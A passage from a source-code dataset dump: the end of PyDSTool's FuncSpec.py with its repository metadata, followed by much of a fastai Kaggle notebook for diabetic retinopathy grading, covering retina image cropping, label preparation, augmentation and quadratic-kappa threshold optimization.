parnames]):\r\n                        # do not put raw parameter name arguments into new arg list\r\n                        #raise ValueError(\"Cannot process argument to aux fn %s\"%f)\r\n                        print(\"Warning: some auxiliary function parameters clash in function %s\" %f)\r\n                    new_args_list.append(arg)\r\n                elif arg not in parnames:\r\n                    # do not put raw parameter name arguments into new arg list\r\n                    new_args_list.append(arg)\r\n            new_argstr = ','.join(new_args_list)\r\n            # update vspec and q for next f\r\n            vspec = ''.join(q[:ix+1]) + '(' + new_argstr + ')' + rest[end_ix+1:]\r\n            q = QuantSpec('__temp__', vspec)\r\n        new_varspecs[vname] = vspec\r\n    return new_fnspecs, new_varspecs\r\n\r\n\r\n\r\ndef getSpecFromFile(specfilename):\r\n    \"\"\"Read text specs from a file\"\"\"\r\n    try:\r\n        f = open(specfilename, 'r')\r\n        s = f.read()\r\n    except IOError as e:\r\n        print('File error: %s' % str(e))\r\n        raise\r\n    f.close()\r\n    return s\r\n", "meta": {"hexsha": "9e336668cd1a3597738fee46ce8aba8f3faea801", "size": 55430, "ext": "py", "lang": "Python", "max_stars_repo_path": "PyDSTool/FuncSpec.py", "max_stars_repo_name": "yuanz271/PyDSTool", "max_stars_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_stars_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PyDSTool/FuncSpec.py", "max_issues_repo_name": "yuanz271/PyDSTool", "max_issues_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_issues_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PyDSTool/FuncSpec.py", "max_forks_repo_name": "yuanz271/PyDSTool", "max_forks_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_forks_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.7940140845, "max_line_length": 135, "alphanum_fraction": 0.4992242468, "include": true, "reason": "from numpy", "num_tokens": 11144, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.12252320931407357, "lm_q1q2_score": 0.06030446997482268}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n# +\nfrom tqdm import tqdm\nfrom subprocess import Popen, PIPE\nfrom io import StringIO\nfrom PIL import Image\nimport pdb\nimport os\nfrom pathlib import Path\nimport math\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nfrom functools import partial\nfrom sklearn.metrics import cohen_kappa_score\n\n# for image preprocessing\nimport cv2\n#import imutils\nfrom torchvision.transforms import ToPILImage\nfrom shutil import copyfile\n\nimport torch\nfrom fastai import *\nfrom fastai.core import *\nfrom fastai.basic_data import *\nfrom fastai.basic_train import *\nfrom fastai.torch_core import *\nfrom fastai.callbacks import CSVLogger\n\nfrom fastai.vision import *\nfrom fastai.vision.learner import create_head, cnn_config, num_features_model\n\nfrom IPython.core.debugger import set_trace\n# -\n\n# +\n# this cell is for fast submitting, refer https://www.kaggle.com/c/instant-gratification/discussion/94379#latest-546086\n# if you are sure your code is right, keep `fast_commit` to True, so after running this cell, code commission can be\n# done and you can submit the kernel for LB quickly.\n\n# but it is recommended to first set `fast_commit` to false first and the kernel will run with only partial data to\n# check if there is bug in the code.\nfast_commit = False  # commit just to check run OK, we can use this for debugging. Write unittest suit in this jupyter notebook\nfast_commit_with_commit_runing_less_data = True  # otherwise just exit\n\nrandom_world = True\n# for disable random seed setting. Also, we can use all training data (no validation) for\nfinal_submission = False\n# final submission\ndo_lr_find = False\ntry:\n    sub = pd.read_csv(\n        '../input/aptos2019-blindness-detection/sample_submission.csv')\nexcept:\n    sub = pd.read_csv('../input/sample_submission.csv')\n\nsubmitting_to_LB = False\nuse_less_train_data = False\n\nif fast_commit:\n    if len(sub) < 2000:  # commit, not submit to leaderboard\n        sub.to_csv('submission.csv', index=False)  # so we can always submit\n        if fast_commit_with_commit_runing_less_data:\n            use_less_train_data = True\n        else:\n            exit()\n    else:  # this is real submit for leader board\n        submitting_to_LB = True\nelse:  # pretending/testing for submitting to LB\n    submitting_to_LB = True\n    #do_lr_find = True\n# -\n\n# +\n# %reload_ext autoreload\n# %autoreload 2\n# #!nvidia-smi\n# -\n\n\n# ## Utils functions\n# helpful functions, for debugging mainly\n\n\n# +\n# not used...\n# we could use the contour information!!\ndef binary_search_img(start, end, f, steps_to_stop):\n    if start >= end:\n        return start\n    if steps_to_stop <= 0:\n        raise RuntimeError(\"Image is strange, cannot find right box\")\n    mid = (start+end) // 2\n    res = f(mid)\n    if res == 0:\n        return mid\n    return binary_search_img(mid+1, end, f, steps_to_stop-1) if res < 0 else \\\n        binary_search_img(start, mid-1, f, steps_to_stop-1)\n# -\n# ## Seeding, data preparation\n\n\n# +\n# The images are actually quite big. We will resize to a much smaller size.\n\nbs = 64  # smaller batch size is better for training, but may take longer\nsz = 224  # transformed to this size\n# -\n# +\n# Making pretrained weights work without needing to find the default filename\nif not os.path.exists('/tmp/.cache/torch/checkpoints/'):\n    os.makedirs('/tmp/.cache/torch/checkpoints/')\nget_ipython().system(\n    \"cp '../input/resnet50/resnet50.pth' '/tmp/.cache/torch/checkpoints/resnet50-19c8e357.pth'\")\n\nos.listdir('../input')\n# -\n\n# +\n#import torchsnooper\n#import pysnooper\n\n\ndef seed_everything(seed):\n    random.seed(seed)\n    os.environ['PYTHONHASHSEED'] = str(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True\n\n\ndef prepare_for_party():\n    print('Make sure cudnn is enabled:', torch.backends.cudnn.enabled)\n    if not random_world:\n        SEED = 999\n        seed_everything(SEED)\n\n\nprepare_for_party()\n\n\ndef check_image_list_dist(subfolder):\n    path_data = Path('../input/aptos2019-blindness-detection')\n\n    il = ImageList.from_folder(path_data/subfolder)\n\n    img_size_stats = {}\n    target_blk = []\n    for img in il:\n        s = tuple(img.size)\n        stat = img_size_stats.setdefault(s, 0)\n        img_size_stats[s] = stat + 1\n        if s[0] == 480:\n            bc = get_diag_black_cnt(img)\n            target_blk.append(bc)\n            print(bc)\n    return img_size_stats, target_blk\n\n\ntest_img_size_stats = {(1958, 2588): 134,\n                       (480, 640): 1403,  # 3/4\n                       (1736, 2416): 225,\n                       (1050, 1050): 69,\n                       (1944, 2896): 11,\n                       (1110, 1467): 2,\n                       (1944, 2592): 6,\n                       (614, 819): 45,  # around 3/4\n                       (576, 768): 2,\n                       (1536, 2048): 28,\n                       (1117, 1476): 2,\n                       (1764, 2146): 1}\n# check_image_list_dist('train_images')\ntrain_img_size_stats = {(2136, 3216): 410,\n                        (1958, 2588): 533,\n                        (1536, 2048): 351,\n                        (2848, 4288): 52,\n                        (1736, 2416): 638,\n                        (1050, 1050): 974,\n                        (1000, 1504): 92,\n                        (614, 819): 287,\n                        (1226, 1844): 61,\n                        (1424, 2144): 28,\n                        (1944, 2896): 34,\n                        (480, 640): 42,\n                        (2588, 3388): 141,\n                        (1117, 1476): 14,\n                        (1110, 1467): 2,\n                        (358, 474): 2,\n                        (1764, 2146): 1}\n# way too different !!!!\n# so we just take care of the types with > 30 imgs\n# for test 480*640 images, the get_diag_black_cnt number is (137.77405559515324, 3.369116330637486)\n\n# to preprocess our data: we do this:\n# 1. cv2 find the contour\n# 2. find the center\n# 3. use 3/4 crop, binarysearch, until the black margin we wanted is got (we can count the black pixels around the diagonal)\n# 4. done\n\n\ndef get_diag_black_cnt(img):\n    assert img.data.dtype == torch.float32\n    img_r = img.data[0]  # only need to look R channle, most information\n\n    thresh = img_r.mean()/10  # in tensor the value is in range 0 ~ 1\n\n    def blk_cnt(t):\n        return sum((dig < thresh).sum() for dig in [t.diagonal(), t.diagonal(offset=5), t.diagonal(offset=-5)])\n    img_r_flip = img_r.flip((1))\n\n    return blk_cnt(img_r) + blk_cnt(img_r_flip)\n\n\ndef get_tensor_diag_black_cnt(img):\n    assert img.dtype == torch.float32\n\n    img_r = img[0]  # only need to look R channle, most information\n\n    thresh = img_r.mean()/10  # in tensor the value is in range 0 ~ 1\n\n    def blk_cnt(t):\n        return sum((dig < thresh).sum() for dig in [t.diagonal(), t.diagonal(offset=5), t.diagonal(offset=-5)])\n    img_r_flip = img_r.flip((1))\n\n    return blk_cnt(img_r) + blk_cnt(img_r_flip)\n\n\ndef fastai_img_2_cv2(img): return (image2np(img.data)*255).astype(np.uint8)\n\n\n# return list, need to post process, should be around center\ndef find_center(image, cnt_thresh=20):\n    \"\"\" Thanks to https://www.pyimagesearch.com/2016/02/01/opencv-center-of-contour/ \"\"\"\n    gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    thresh = cv2.threshold(blurred, cnt_thresh, 255, cv2.THRESH_BINARY)[1]\n\n    cnts = cv2.findContours(thresh, cv2.RETR_EXTERNAL,\n                            cv2.CHAIN_APPROX_SIMPLE)\n    cnts = imutils.grab_contours(cnts)\n    # loop over the contours\n    cs = []\n    clen = np.array([len(c) for c in cnts])\n    mid = np.argmax(clen)\n\n    for c in [cnts[mid]]:\n        # compute the center of the contour\n        if len(c) < 5:\n            return None\n        M = cv2.moments(c)\n        cX = int(M[\"m10\"] / M[\"m00\"])\n        cY = int(M[\"m01\"] / M[\"m00\"])\n        cs.append((cX, cY, c))\n    return cs\n\n\ndef find_DR_center(img, thresh=20):\n    cs = find_center(fastai_img_2_cv2(img), cnt_thresh=thresh)\n    if cs is None:\n        return None, None, None\n    h, w = img.size\n    for cx, cy, c in cs:\n        if w/3 <= cx <= 2*w/3 and h/3 <= cy <= 2*h/3:\n            return cx, cy, c  # width, height correspondingly\n    return None, None, None\n\n\n# should put in a class\ndef find_box_from_center(img, ratio=3/4, bc=137.774, bc_std=3.369, thresh=20):\n    \"\"\"ratio here, 3 height - 4 width (3y, 4x)\n    \"\"\"\n    h, w = img.size\n\n    def contour_range(cx, cy, c):\n        xs = c[:, 0, 0]\n        ys = c[:, 0, 1]\n        xs_rel = xs - cx\n        ys_rel = ys - cy\n        ratio = xs_rel*3 - ys_rel*4  # minimum one\n        sid = np.argsort(np.absolute(ratio))\n        xid = sid[0]\n        xid_d = None\n        for i in sid[1:]:\n            if abs(i-xid) < 5:  # just use the trick, as they can't be that close\n                continue\n            else:\n                xid_d = i\n                break\n        if xid_d is None:\n            raise RuntimeError(\n                \"Image Strange, cannot find right contour points\")\n        c1, c2 = (xs[xid], ys[xid]), (xs[xid_d], ys[xid_d])\n        if c1[0]*c1[1] > c2[0]*c2[0]:\n            c2, c1 = c1, c2\n        return xs.max(), xs.min(), ys.max(), ys.min(), c1, c2\n\n    cx, cy, c = find_DR_center(img, thresh=thresh)\n    if cx is None:\n        return None\n    xmax, xmin, ymax, ymin, cross, cross2 = contour_range(cx, cy, c)\n\n    def find_box_from_cross_points(c1, c2, ratio, expand=28/400):\n        # for 480*640, 137.7 ... we just test more times...\n        #138/6 = 23, and the r is around 480/2/3*5 = 800/2=400, so it is about 25/400 more\n        # so for h,w, both add these\n        width_inner = c2[0] - c1[0]\n        width_e = width_inner * expand/2\n        hight_e = width_e*ratio\n        width_e = int(width_e)\n        hight_e = int(hight_e)\n        c1[0] -= width_e\n        c2[0] += width_e\n        c1[1] -= hight_e\n        c2[1] += hight_e\n        return c1, c2\n\n    def clip(h, w, c):\n        x = c[0]\n        y = c[1]\n        x = x if x > 0 else 0\n        y = y if y > 0 else 0\n        x = x if x < w else w\n        y = y if y < h else h\n        return x, y\n    c1, c2 = find_box_from_cross_points(list(cross), list(cross2), ratio)\n    c1 = clip(h, w, c1)\n    c2 = clip(h, w, c2)\n\n    bbox = [c1[1], c1[0], c2[1], c2[0]]\n\n    cnt = get_tensor_diag_black_cnt(img.data[:, c1[1]:c2[1], c1[0]:c2[0]])\n    print(cnt)\n    if cnt == 0:\n        print(\"Image Strange, cannot find black points in diagonals\")\n\n    return ImageBBox.create(h, w, [bbox], labels=[0], classes=['ROI']), bbox\n    #ch = cy\n    #cw = cx\n    #h_range = min(ch-ymin, ymax-ch)  # half box height up limit\n    #h_start = abs(ch-cross[1])\n    #if h_start > h_range:\n    #    raise RuntimeError(\"Image is strange, cannot find right box\")\n    #w_range = min(cw-xmin, xmax-cw)\n    # start from a more likely place, 2/h_range\n\n    #def check_blk_cnt_center_crop(h_add):\n    #    w_add = int(h_add/ratio)\n    #    cnt = get_tensor_diag_black_cnt(img.data[:,ch-h_add:ch+h_add,cw-w_add:cw+w_add])\n    #    ub = (bc+bc_std)/480\n    #    lb = (bc-bc_std)/480\n    #    r = cnt.float() / (2*h_add)\n    #    if r > ub: return 1\n    #    if r < lb: return -1\n    #    return 0\n\n    # max_rounds = math.floor(math.log2(h_range-h_start))\n    # h_proposed = binary_search_img(h_start, h_range, check_blk_cnt_center_crop, max_rounds)\n    # binary search in this situation is not stable, as some image width not enough, so the\n    # diagonal calculation will be incorrect\n    #\n    # easier way, just use the cross points, and add a few pixel margin\n    #w_ = int(h_proposed * 4/3)\n    #w_ = w_ if w_ < w_range else w_range\n    # top left bottem rightb\n    #return ImageBBox.create(h,w, [[ch-h_proposed, cw-w_, ch+h_proposed, cw+w_]], labels=[0], classes=['ROI']), [ch-h_proposed, cw-w_, ch+h_proposed, cw+w_]\n    #return [ch-h_proposed, cw-w_, ch+h_proposed, cw+w_]\n\n\n# -\n# +\nerrorsones = []  # to put together and need to handle later\n\n\ndef check_crop(subfolder):\n    path_data = Path('../input/aptos2019-blindness-detection')\n    cwd = Path('.')\n    topil = ToPILImage()\n\n    il = ImageList.from_folder(path_data/subfolder)\n    to_save_path = cwd/(subfolder+'_cropped')\n    to_save_path_resized = cwd/(subfolder+'_cropped'+'_resized')\n    to_save_path_resized.mkdir()\n    to_save_path.mkdir()\n\n    cotinue_f = False\n    for i, img in enumerate(il):\n        fname = il.items[i]\n        name_before_resize = to_save_path/fname.name\n        name_after_resize = to_save_path_resized/fname.name\n\n        if fname.name != '81914ceb4e74.png' and cotinue_f:\n            continue\n        if cotinue_f:\n            cotinue_f = False\n            continue\n\n        s = tuple(img.size)\n        if s[0] != 480:\n            try:\n                _, coords = find_box_from_center(img)\n                print(coords, name_before_resize)\n                pilimg = topil(\n                    img.data[:, coords[0]:coords[2], coords[1]:coords[3]])\n                pilimg.save(name_before_resize)\n                pilimg_r = pilimg.resize((640, 480))  # weight, height\n                pilimg_r.save(name_after_resize)\n                del pilimg_r\n                del pilimg\n            except Exception as e:\n                print(e)\n                print(fname.name, \" error happened\")\n                errorsones.append(fname.name)\n            #break\n        else:\n            copyfile(fname, name_before_resize)\n            copyfile(fname, name_after_resize)\n\n\nerrorsones = []  # to put together and need to handle later\n\n\ndef check_crop_namelist(ns):\n    subfolder = 'train_images'\n    path_data = Path('../input/aptos2019-blindness-detection')/subfolder\n    cwd = Path('.')\n    topil = ToPILImage()\n\n    to_save_path = cwd/(subfolder+'_cropped')\n    to_save_path_resized = cwd/(subfolder+'_cropped'+'_resized')\n    to_save_path_resized.mkdir(parents=True, exist_ok=True)\n    to_save_path.mkdir(parents=True, exist_ok=True)\n\n    for imgname in tqdm(ns):\n        fname = path_data/imgname\n        name_before_resize = to_save_path/fname.name\n        name_after_resize = to_save_path_resized/fname.name\n\n        img = open_image(fname)\n        s = tuple(img.size)\n        if s[0] != 480:\n            try:\n                # use small thresh, maybe helpful -> much better\n                _, coords = find_box_from_center(img, thresh=10)\n                print(coords, name_before_resize)\n                pilimg = topil(\n                    img.data[:, coords[0]:coords[2], coords[1]:coords[3]])\n                pilimg.save(name_before_resize)\n                pilimg_r = pilimg.resize((640, 480))  # weight, height\n                pilimg_r.save(name_after_resize)\n                del pilimg_r\n                del pilimg\n            except Exception as e:\n                print(e)\n                print(fname.name, \" error happened\")\n                errorsones.append(fname20.name)\n            #break\n        else:\n            copyfile(fname, name_before_resize)\n            copyfile(fname, name_after_resize)\n\n\nstill_need_to_handle = [\n    '033f2b43de6d.png',\n    '3a6e9730b298.png',\n    'df4913ca3712.png',\n    'f002ce614c59.png',\n    '4860f7813654.png',\n    'ac720570dd0f.png',\n    '807135cbc438.png',\n    'e1418d28d668.png',\n    '42a67337fa8e.png',\n    '17d997fe1090.png',\n    '64fedbf97473.png',\n    'd51b3fe0fa1b.png',\n    '6f4719c6bb4b.png',\n    'c58971bcebb2.png',\n    '5548a7961a3e.png',\n    '7214fc7cbe03.png',\n    '7269a1d84a57.png',\n    '2c77bf969079.png',\n    'e821c1b6417a.png',\n    'b665041e1633.png',\n    '417f408ee8e0.png',\n    '6b7cf869622a.png',\n    '66d2ca47aa44.png',\n    '6cb96a6fb029.png',\n    '50d8a8fb7737.png',\n    '541db13517e2.png',\n    '5b301a6d1ac7.png',\n    'f64214bed40e.png',\n    '2bb3c492d6d3.png']\n#check_crop_namelist(still_need_to_handle)\n# -\n\n\ndef prepare_train_dev_df(df, cls_overlap=\"None_for_fine\"):\n    df['path'] = df['id_code'].map(\n        lambda x: os.path.join(train_dir, '{}.png'.format(x)))\n    df = df.drop(columns=['id_code'])\n    df = df.sample(frac=1).reset_index(drop=True)  # shuffle dataframe\n    #['normal', 'NPDR_1', 'NPDR_2', 'NPDR_3', 'PDR']\n    DR_fine_one_hot = pd.get_dummies(df['diagnosis'], prefix='DR')\n    df = pd.concat([df, DR_fine_one_hot], axis=1)\n\n    df['val'] = False\n    for i in range(5):\n        name = f'DR_{i}'\n        val_sub_part = (df[name][df[name] == 1]).sample(\n            frac=0.2, replace=False)\n        df.loc[val_sub_part.index, 'val'] = True\n\n    if cls_overlap == 'None_for_fine':  # to preserve more information\n        pass\n    else:\n        # could use label smooth, or mixup\n        df['DR_3'][df['diagnosis'] == 4] = 1\n        df['DR_1'][df['DR_2'] == 1] = 1\n        df['DR_1'][df['DR_3'] == 1] = 1\n        df['DR_2'][df['DR_3'] == 1] = 1\n\n    NPDR_index = (df['diagnosis'] < 4) & (df['diagnosis'] > 0)\n\n    df['diagnosis_coarse'] = 1\n    df['diagnosis_coarse'][df['diagnosis'] == 0] = 0  # Normal\n    df['diagnosis_coarse'][NPDR_index] = 1            # NPDR\n    df['diagnosis_coarse'][df['diagnosis'] == 4] = 2  # PDR\n\n    DR_coarse_one_hot = pd.get_dummies(df['diagnosis_coarse'], prefix='DRC')\n    #DR_coarse_one_hot['DRC_1'][DR_coarse_one_hot['DRC_2'] == 1] = 1\n\n    # score_index = NPDR_index | (df['diagnosis']==4)\n    # df['NPDR_score'] = np.NaN\n    # df['NPDR_score'][score_index] = df['diagnosis'][score_index]\n    # todo use whole data, i.e., normal + PDR\n\n    df['NPDR_score'] = df['diagnosis']\n\n    df = pd.concat([df, DR_coarse_one_hot], axis=1)\n\n    len_df = len(df)\n    print(f\"There are {len_df} images\")\n\n    return df\n\n\n# +\nbase_image_dir = os.path.join('..', 'input/aptos2019-blindness-detection/')\ntrain_dir = os.path.join(base_image_dir, 'train_images/')\ndf = pd.read_csv(os.path.join(base_image_dir, 'train.csv'))\nif use_less_train_data:\n    df = df.sample(frac=0.1).copy()\n\ndf = prepare_train_dev_df(df)\n#newpath = \"../input/dr-cropped/dr_train_images_cropped_resized/train_images_cropped_resized/\"\n\n\ndef replace_image_cropped(df, from_folder, to_folder):\n    # path, f62b8a076833.png is truncted, so remove it\n    df['path'] = df['path'].str.replace(from_folder, to_folder, regex=False)\n    return df[~df['path'].str.contains('f62b8a076833')]\n\n\ndf = replace_image_cropped(df,\n                           'aptos2019-blindness-detection/train_images',\n                           #'dr-cropped/dr_train_images_cropped_resized/train_images_cropped_resized')\n                           'dr-cropped/dr_train_images_cropped')\n\n\n# This is actually very small. The [previous competition](https://kaggle.com/c/diabetic-retinopathy-detection) had ~35k images, which supports the idea that pretraining on that dataset may be quite beneficial.\n\n# The dataset is highly imbalanced, with many samples for level 0, and very little for the rest of the levels.\n\ndf['diagnosis'].hist(figsize=(10, 5))  # so might be overfitting!!!\n\n# Let's look at an example image:\n\nim = Image.open(df['path'][0])\nwidth, height = im.size\nprint(\"1st image size: \", width, height)\n#im\n# -\n\n# +\n\n\nclass CategoryWithScoreProcessor(MultiCategoryProcessor):\n    \"`PreProcessor` that create `classes` from `ds.items` and handle the mapping.\"\n\n    def __init__(self, ds: ItemList, one_hot: bool = False):\n        super(CategoryWithScoreProcessor, self).__init__(ds, one_hot)\n\n    def process_one(self, item):\n        if self.one_hot or isinstance(item, EmptyLabel):\n            return item\n        return item.astype(np.int)\n\n    def generate_classes(self, items):\n        \"Generate classes from `items` by taking the sorted unique values.\"\n        raise RuntimeError(\n            'For DR, we handle differently, so we don\\'t use this function.')\n\n\nclass DRCategory(Category):\n    \"\"\"\n    DRCategory just save the raw data as index\n    \"\"\"\n\n    def __int__(self): return int(self.data[-1])\n\n\nclass DRCategoryListWithScore(MultiCategoryList):\n    \"\"\"\n    Data format: e.g. [0,1,0,  1,0,0, 1], first 3 is for coarse classification, second 3 for fine\n    classification, the last for regresstion\n    \"\"\"\n    _processor = CategoryWithScoreProcessor\n\n    def __init__(self, items: Iterator, classes: Collection = None, label_delim: str = None, one_hot: bool = False, **kwargs):\n        super().__init__(items, classes=classes,\n                         label_delim=label_delim, one_hot=one_hot, **kwargs)\n        #self.loss_func = BCEWithLogitsFlat()\n        #self.one_hot = one_hot\n        #self.copy_new += ['one_hot']\n        self.loss_func = None\n        self.thresholds = [0.5, 1.5, 2.5, 3.5]\n\n    def set_thresholds(self, thresholds):\n        self.thresholds = thresholds\n\n    def get(self, i):\n        o = self.items[i]\n        if o is None:\n            return None\n        return DRCategory(o, self.classes[o[-1]])\n\n    def analyze_pred(self, pred, thresh: float = 0.):\n        # need to analyze which method got better result\n        p = (pred >= thresh).float()\n        p[-1] = pred[-1]\n        return p\n        #p = pred.clone().detach()\n        #p[:6] = 0\n\n        #coarse_predict = pred[:3].argmax()\n        #p[coarse_predict] = 1.\n        #if coarse_predict == 1:  # NPDR\n        #    fine_predict = pred[3:6].argmax()\n        #    #type_pred = fine_predict + 1\n        #    # todo use reg value to analyze. but need to know the threshold\n        #    p[3+fine_predict] = 1.\n        #return p\n        #else:\n        #type_pred = coarse_predict if coarse_predict == 0 else 4\n        #    return p[]\n\n    def reconstruct(self, t):\n        # in ItemList you can see this\n        # def analyze_pred(self, pred:Tensor):\n        #     \"Called on `pred` before `reconstruct` for additional preprocessing.\"\n        reg = t[-1]\n        type_pred = 0\n        for thr in self.thresholds:\n            if reg > thr:\n                type_pred += 1  # todo, check if classification info are useful or not\n            else:\n                break\n\n        return DRCategory(t, self.classes[type_pred])\n        # coarse_predict = t[:3].argmax()\n        # if coarse_predict == 1:  # NPDR\n        #     fine_predict = t[3:6].argmax()\n        #     type_pred = fine_predict + 1\n        # else:\n        #     type_pred = coarse_predict if coarse_predict == 0 else 4\n\n        # return DRCategory(t, self.classes[type_pred])\n# -\n# +\n\n\nsrc = (ImageList.from_df(df=df, path='./', cols='path')  # get dataset from dataset\n       # Splitting the dataset\n       .split_by_idx(df[df['val'] == 1].index.tolist())\n       # obtain labels from the level column\n       .label_from_df(cols=['DRC_0', 'DRC_1', 'DRC_2', 'DR_1', 'DR_2', 'DR_3', 'NPDR_score'], label_cls=partial(DRCategoryListWithScore, classes=['normal', 'NPDR_1', 'NPDR_2', 'NPDR_3', 'PDR'], one_hot=False))\n       )  # LabelList = ImageList + LabelList\ntwenty_per_size = int(df['val'].sum())\nval_bs = twenty_per_size if twenty_per_size < 800 else 512\n\ntfms = get_transforms(do_flip=True, flip_vert=True, max_rotate=180, max_warp=None,\n                      max_zoom=0.9, p_affine=0.5, max_lighting=0.1,\n                      p_lighting=0.5)\ndata = (src.transform(tfms, size=sz, resize_method=ResizeMethod.CROP, padding_mode='reflection')  # Data augmentation\n        .databunch(bs=bs, val_bs=val_bs, num_workers=2)  # DataBunch\n        )\n\n\ndef get_train_stats(databunch):\n    \"\"\"\n    get mean and std of the training set\n    \"\"\"\n    tdl = databunch.train_dl\n\n    stats = None\n    n = 0\n    for x, _ in tdl:\n        if stats is None:\n            stats = x.new_zeros((2, 3))\n\n        b_n = x.shape[0]\n        n += b_n\n        # need to record E(X^2) and E(X), for x^2\n        stats[0] += x.mean(dim=(0, 2, 3))*b_n\n        stats[1] += x.std(dim=(0, 2, 3))*b_n\n        print(stats)\n    stats /= n\n    return stats\n\n\n#stats = ([0.4285, 0.2286, 0.0753], [0.2700, 0.1485, 0.0812])  # before crop\nstats = ([0.5744, 0.3018, 0.0930], [0.1676, 0.1002, 0.0805])  # after crop\n\nif stats is None:\n    stats = get_train_stats(data)\n    torch.save(stats, 'data_stats.pkl')\n\nDR_img_stats = stats\n#imagenet_stats is very different\n# Normalize just to mean, std of the data, as it is way too different with imagenet\ndata = data.normalize((DR_img_stats[0], DR_img_stats[1]))\n# this operation will add a transform to data pipeline\n# -\n\ndata.show_batch(rows=3, figsize=(7, 6))\n\n# +\ntrain_dev_ratio = len(data.dl(DatasetType.Train).x) / \\\n    len(data.dl(DatasetType.Valid).x)\nassert 3.9 < train_dev_ratio < 4.1  # make sure it splits correctly\n# -\n\n\n# ## Training (Transfer learning)\n\n# The Kaggle competition used the Cohen's quadratically weighted kappa so I have that here to compare. This is a better metric when dealing with imbalanced datasets like this one, and for measuring inter-rater agreement for categorical classification (the raters being the human-labeled dataset and the neural network predictions). Here is an implementation based on the scikit-learn's implementation, but converted to a pytorch tensor, as that is what fastai uses.\n\n# ### metric\n\n# #### Optimize the Metric\n\n# Optimizing the quadratic kappa metric was an important part of the top solutions in the previous competition. Thankfully, @abhishek has already provided code to do this for us. We will use this to improve the score.\n\n\n# +\nclass OptimizedRounder(object):\n    def __init__(self):\n        self.coef_ = 0\n\n    def _kappa_loss(self, coef, X, y, cls_weight):\n        X_p = np.copy(X)\n        for i, pred in enumerate(X_p):\n            if pred < coef[0]:\n                X_p[i] = 0\n            elif pred >= coef[0] and pred < coef[1]:\n                X_p[i] = 1\n            elif pred >= coef[1] and pred < coef[2]:\n                X_p[i] = 2\n            elif pred >= coef[2] and pred < coef[3]:\n                X_p[i] = 3\n            else:\n                X_p[i] = 4\n        sample_weight = y.new_zeros(y.size(), dtype=torch.float)\n        reg_predict = y.clone().detach()\n        inds = [torch.nonzero(reg_predict == type_id).squeeze(1)\n                for type_id in range(5)]\n        for type_id, ind in enumerate(inds):\n            sample_weight[ind] = cls_weight[type_id]\n\n        ll = cohen_kappa_score(y, X_p, weights='quadratic',\n                               sample_weight=sample_weight)\n        return -ll\n\n    def fit(self, X, y, cls_weight):\n        loss_partial = partial(self._kappa_loss, X=X,\n                               y=y, cls_weight=cls_weight)\n        initial_coef = [0.5, 1.5, 2.5, 3.5]\n        self.coef_ = sp.optimize.minimize(\n            loss_partial, initial_coef, method='nelder-mead')\n        print(-loss_partial(self.coef_['x']))\n\n    def predict(self, X, coef):\n        X_p = np.copy(X)\n        for i, pred in enumerate(X_p):\n            if pred < coef[0]:\n                X_p[i] = 0\n            elif coef[0] <= pred < coef[1]:\n                X_p[i] = 1\n            elif coef[1] <= pred < coef[2]:\n                X_p[i] = 2\n            elif coef[2] <= pred < coef[3]:\n                X_p[i] = 3\n            else:\n                X_p[i] = 4\n        return X_p\n\n    def coefficients(self):\n        return self.coef_['x']\n\n# -\n\n# +\n\n\n# for batched data, still is the batch size, (64,7)\ndef convert_to_normal_pred(pred, thresholds):\n    thresh_for_PDR = 3.\n\n    if len(pred.shape) == 1:\n        #if pred[2] > 0 and pred[-1] > thresh_for_PDR:\n        #    return 4\n        #coarse_predict = pred[:3].argmax()\n        #if coarse_predict == 1:  # NPDR, logit wrong..., argmax need for softmax... and this will ignore all the PDR thing\n        #    fine_predict = pred[3:6].argmax()\n        #    return fine_predict + 1  # todo use reg value to analyze. but need to know the threshold\n        #else:\n        #    return coarse_predict if coarse_predict == 0 else 4\n\n        reg = pred[-1]\n        type_pred = 0\n        for thr in thresholds:\n            if reg > thr:\n                type_pred += 1  # todo, check if classification info are useful or not\n            else:\n                break\n        return type_pred\n    else:\n        #coarse_predict = pred[:,:3].argmax(dim=1)  # just do this, and cross our finger for the PDR v.s. NPDR will predict properly.\n\n        #predict = coarse_predict.clone().detach()\n\n        #NPDR_inds_subset = torch.nonzero(coarse_predict == 1).squeeze(1)  # for multi label... how do we do?\n        #if len(NPDR_inds_subset) > 0:\n        #    fine_predict = pred[NPDR_inds_subset,3:6].argmax(dim=1)\n        #    fine_predict += 1  # todo use reg value to analyze. but need to know the threshold\n\n        #    predict[NPDR_inds_subset] = fine_predict\n\n        #reg_value = pred[:,-1]\n        #PDR_logit = pred[:,2]\n\n        #PDR_subset = torch.nonzero((PDR_logit > 0) * (reg_value > thresh_for_PDR)).squeeze(1)\n        #predict[PDR_subset] = 4\n        reg_predict = pred[:, -1].clone().detach()\n        inds = [torch.nonzero(reg_predict > thr).squeeze(1)\n                for thr in thresholds]\n        predict = reg_predict.new_zeros(reg_predict.size(), dtype=torch.int64)\n        for type, ind in enumerate(inds):\n            predict[ind] = type+1\n\n        del reg_predict\n\n        return predict\n\n\ndef quadratic_kappa(y_hat, y, cls_weight=None, y_hat_predicted=False):\n    # need to convert our answer format\n\n    if not y_hat_predicted:\n        coefficients = [0.5, 1.5, 2.5, 3.5]\n        y_hat = convert_to_normal_pred(y_hat, coefficients)\n\n    if len(y.shape) < 2:\n        target = y\n    else:\n        target = y[:, -1].int()\n\n    y = target\n    sample_weight = y.new_ones(y.size(), 